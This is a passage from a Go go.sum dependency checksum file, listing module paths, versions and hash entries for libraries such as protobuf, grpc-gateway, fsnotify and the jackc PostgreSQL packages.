h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=\ngithub.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=\ngithub.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=\ngithub.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I=\ngithub.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=\ngithub.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU=\ngithub.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4=\ngithub.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=\ngithub.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=\ngithub.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=\ngithub.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=\ngithub.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=\ngithub.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=\ngithub.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE=\ngithub.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po=\ngithub.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=\ngithub.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=\ngithub.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA=\ngithub.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=\ngithub.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=\ngithub.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=\ngithub.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=\ngithub.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=\ngithub.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=\ngithub.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=\ngithub.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8=\ngithub.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss=\ngithub.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=\ngithub.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=\ngithub.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE=\ngithub.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps=\ngithub.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=\ngithub.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=\ngithub.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY=\ngithub.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=\ngithub.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk=\ngithub.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=\ngithub.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc=\ngithub.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY=\ngithub.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=\ngithub.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=\ngithub.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=\ngithub.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=\ngithub.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=\ngithub.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=\ngithub.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=\ngithub.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=\ngithub.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=\ngithub.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=\ngithub.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=\ngithub.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=\ngithub.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=\ngithub.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=\ngithub.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=\ngithub.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=\ngithub.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=\ngithub.com/golang/glog v1.2.4 h1:CNNw5U8lSiiBk7druxtSHHTsRWcxKoac6kZKm2peBBc=\ngithub.com/golang/glog v1.2.4/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w=\ngithub.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=\ngithub.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=\ngithub.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=\ngithub.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=\ngithub.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=\ngithub.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=\ngithub.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=\ngithub.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=\ngithub.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=\ngithub.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=\ngithub.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=\ngithub.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=\ngithub.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=\ngithub.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=\ngithub.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=\ngithub.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=\ngithub.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=\ngithub.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=\ngithub.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=\ngithub.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=\ngithub.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4=\ngithub.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=\ngithub.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=\ngithub.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=\ngithub.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=\ngithub.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=\ngithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=\ngithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=\ngithub.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho=\ngithub.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=\ngithub.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=\ngithub.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo=\ngithub.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=\ngithub.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0=\ngithub.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10=\ngithub.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=\ngithub.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=\ngithub.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo=\ngithub.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw=\ngithub.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=\ngithub.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=\ngithub.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=\ngithub.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk=\ngithub.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg=\ngithub.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=\ngithub.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=\ngithub.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=\ngithub.com/influxdata/influxdb-client-go/v2 v2.13.0 h1:ioBbLmR5NMbAjP4UVA5r9b5xGjpABD7j65pI8kFphDM=\ngithub.com/influxdata/influxdb-client-go/v2 v2.13.0/go.mod h1:k+spCbt9hcvqvUiz0sr5D8LolXHqAAOfPw9v/RIRHl4=\ngithub.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU=\ngithub.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo=\ngithub.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=\ngithub.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=\ngithub.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=\ngithub.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=\ngithub.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=\ngithub.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=\ngithub.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=\ngithub.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=\ngithub.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=\ngithub.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=\ngithub.com/jackc/pgconn v1.14.3 h1:bVoTr12EGANZz66nZPkMInAV/KHD2TxH9npjXXgiB3w=\ngithub.com/jackc/pgconn v1.14.3/go.mod h1:RZbme4uasqzybK2RK5c65VsHxoyaml09lx3tXOcO/VM=\ngithub.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=\ngithub.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=\ngithub.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=\ngithub.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=\ngithub.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=\ngithub.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=\ngithub.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=\ngithub.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=\ngithub.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=\ngithub.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=\ngithub.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=\ngithub.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=\ngithub.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=\ngithub.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=\ngithub.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=\ngithub.com/jackc/pgproto3/v2 v2.3.3 h1:1HLSx5H+tXR9pW3in3zaztoEwQYRC9SQaYUHjTSUOag=\ngithub.com/jackc/pgproto3/v2 v2.3.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=\ngithub.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=\ngithub.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=\ngithub.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=\ngithub.com/jackc/pgtype 